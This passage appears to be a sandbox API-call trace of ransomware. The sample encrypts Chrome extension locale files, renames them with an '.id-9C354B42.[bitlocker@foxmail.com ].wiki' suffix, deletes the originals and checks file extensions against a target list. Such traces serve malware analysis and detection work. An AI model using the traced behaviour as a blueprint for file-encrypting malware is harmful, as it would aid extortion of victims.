].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0176.896] GetLastError () returned 0x0 [0176.896] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb6, lpOverlapped=0x0) returned 1 [0176.897] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0176.897] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.898] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.898] SetEndOfFile (hFile=0x1a4) returned 1 [0176.898] CloseHandle (hObject=0x1a4) returned 1 [0176.898] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.898] SetEndOfFile (hFile=0x334) returned 1 [0176.899] CloseHandle (hObject=0x334) returned 1 [0176.899] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.899] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json")) returned 1 [0176.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.900] lstrlenW (lpString=".doc") returned 4 [0176.900] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.900] lstrlenW (lpString=".docx") returned 5 [0176.900] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.900] lstrlenW (lpString=".pdf") returned 4 [0176.900] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.900] lstrlenW (lpString=".xls") returned 4 [0176.900] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.900] lstrlenW (lpString=".xlsx") returned 5 [0176.900] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.900] lstrlenW (lpString=".ppt") returned 4 [0176.900] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.900] lstrlenW (lpString=".zip") returned 4 [0176.900] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.900] lstrlenW (lpString=".rar") returned 4 [0176.900] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.900] lstrlenW (lpString=".bz2") returned 4 [0176.900] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.900] lstrlenW (lpString=".7z") returned 3 [0176.900] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.900] lstrlenW (lpString=".dbf") returned 4 [0176.900] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.901] lstrlenW (lpString=".1cd") returned 4 [0176.901] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.901] lstrlenW (lpString=".jpg") returned 4 [0176.901] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.901] lstrlenW (lpString=".doc") returned 4 [0176.901] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.901] lstrlenW (lpString=".docx") returned 5 [0176.901] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.901] lstrlenW (lpString=".pdf") returned 4 [0176.901] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.901] lstrlenW (lpString=".xls") returned 4 [0176.901] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.901] lstrlenW (lpString=".xlsx") returned 5 [0176.901] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.901] lstrlenW (lpString=".ppt") returned 4 [0176.901] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.901] lstrlenW (lpString=".zip") returned 4 [0176.901] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.901] lstrlenW (lpString=".rar") returned 4 [0176.901] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.901] lstrlenW (lpString=".bz2") returned 4 [0176.901] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.901] lstrlenW (lpString=".7z") returned 3 [0176.901] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.902] lstrlenW (lpString=".dbf") returned 4 [0176.902] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.902] lstrlenW (lpString=".1cd") returned 4 [0176.902] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 151 [0176.902] lstrlenW (lpString=".jpg") returned 4 [0176.902] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.902] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.902] lstrlenW (lpString="messages.json") returned 13 [0176.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.902] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=362) returned 1 [0176.903] CloseHandle (hObject=0x334) returned 1 [0176.903] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json")) returned 0x2020 [0176.903] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.903] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.903] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0176.904] GetLastError () returned 0x0 [0176.904] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x16a, lpOverlapped=0x0) returned 1 [0176.905] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x170, lpOverlapped=0x0) returned 1 [0176.905] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.905] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.906] SetEndOfFile (hFile=0x1a4) returned 1 [0176.906] CloseHandle (hObject=0x1a4) returned 1 [0176.908] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.908] SetEndOfFile (hFile=0x334) returned 1 [0176.910] CloseHandle (hObject=0x334) returned 1 [0176.910] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.910] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json")) returned 1 [0176.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.910] lstrlenW (lpString=".doc") returned 4 [0176.910] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.910] lstrlenW (lpString=".docx") returned 5 [0176.910] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.910] lstrlenW (lpString=".pdf") returned 4 [0176.910] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.910] lstrlenW (lpString=".xls") returned 4 [0176.910] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.911] lstrlenW (lpString=".xlsx") returned 5 [0176.911] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.911] lstrlenW (lpString=".ppt") returned 4 [0176.911] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.911] lstrlenW (lpString=".zip") returned 4 [0176.911] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.911] lstrlenW (lpString=".rar") returned 4 [0176.911] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.911] lstrlenW (lpString=".bz2") returned 4 [0176.911] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.911] lstrlenW (lpString=".7z") returned 3 [0176.911] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.911] lstrlenW (lpString=".dbf") returned 4 [0176.911] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.911] lstrlenW (lpString=".1cd") returned 4 [0176.911] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.911] lstrlenW (lpString=".jpg") returned 4 [0176.911] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.911] lstrlenW (lpString=".doc") returned 4 [0176.911] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.911] lstrlenW (lpString=".docx") returned 5 [0176.911] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.911] lstrlenW (lpString=".pdf") returned 4 [0176.912] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.912] lstrlenW (lpString=".xls") returned 4 [0176.912] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.912] lstrlenW (lpString=".xlsx") returned 5 [0176.912] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.912] lstrlenW (lpString=".ppt") returned 4 [0176.912] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.912] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.912] lstrlenW (lpString=".zip") returned 4 [0176.912] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.912] lstrlenW (lpString=".rar") returned 4 [0176.912] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.912] lstrlenW (lpString=".bz2") returned 4 [0176.912] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.912] lstrlenW (lpString=".7z") returned 3 [0176.912] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.912] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.912] lstrlenW (lpString=".dbf") returned 4 [0176.912] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.912] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.912] lstrlenW (lpString=".1cd") returned 4 [0176.912] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.912] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 151 [0176.912] lstrlenW (lpString=".jpg") returned 4 [0176.912] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.912] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.913] lstrlenW (lpString="messages.json") returned 13 [0176.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.913] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=251) returned 1 [0176.913] CloseHandle (hObject=0x334) returned 1 [0176.913] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json")) returned 0x2020 [0176.913] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0176.913] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.913] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0176.914] GetLastError () returned 0x0 [0176.914] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xfb, lpOverlapped=0x0) returned 1 [0176.915] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0176.916] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.916] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.916] SetEndOfFile (hFile=0x1a4) returned 1 [0176.916] CloseHandle (hObject=0x1a4) returned 1 [0176.916] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.916] SetEndOfFile (hFile=0x334) returned 1 [0176.917] CloseHandle (hObject=0x334) returned 1 [0176.917] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.917] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json")) returned 1 [0176.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 151 [0176.918] lstrlenW (lpString=".doc") returned 4 [0176.918] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.918] lstrlenW (lpString=".docx") returned 5 [0176.918] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.918] lstrlenW (lpString=".pdf") returned 4 [0176.918] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.918] lstrlenW (lpString=".xls") returned 4 [0176.918] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.918] lstrlenW (lpString=".xlsx") returned 5 [0176.918] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.918] lstrlenW (lpString=".ppt") returned 4 [0176.918] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 